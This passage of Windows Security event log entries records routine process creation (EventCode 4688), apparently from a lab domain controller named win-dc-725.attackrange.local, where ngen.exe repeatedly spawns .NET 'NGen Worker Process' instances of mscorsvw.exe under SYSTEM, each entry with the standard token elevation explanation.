	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 500 -Pipe 5f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:32 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254662
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13ac
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 504 -InterruptEvent 0 -NGENProcess 418 -Pipe 4d0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:33 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254665
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6e0 -InterruptEvent 0 -NGENProcess 500 -Pipe 504 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:34 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254666
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1254
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 500 -Pipe 418 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254671
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1118
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 780 -Pipe 5d4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254670
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe40
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 284 -InterruptEvent 0 -NGENProcess 6c0 -Pipe 77c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254669
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 78c -InterruptEvent 0 -NGENProcess 4fc -Pipe 714 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254668
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x370
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 500 -InterruptEvent 0 -NGENProcess 6c0 -Pipe 2ac -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:35 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254667
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 598 -InterruptEvent 0 -NGENProcess 714 -Pipe 260 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254675
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 514 -InterruptEvent 0 -NGENProcess 4fc -Pipe 780 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254674
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 360 -InterruptEvent 0 -NGENProcess 664 -Pipe 238 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254673
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1224
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 238 -InterruptEvent 0 -NGENProcess 360 -Pipe 438 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:36 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254672
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x264
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 69c -InterruptEvent 0 -NGENProcess 4fc -Pipe 500 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254677
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x61c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7f4 -InterruptEvent 0 -NGENProcess 2b4 -Pipe 69c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254676
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1170
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 1e4 -InterruptEvent 0 -NGENProcess 360 -Pipe 7b8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254678
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xde8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 6c0 -InterruptEvent 0 -NGENProcess 748 -Pipe 598 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254683
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x129c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 7c0 -InterruptEvent 0 -NGENProcess 720 -Pipe 6a8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254682
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1168
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 52c -InterruptEvent 0 -NGENProcess 2bc -Pipe 514 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:05:39 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254681
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xda8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
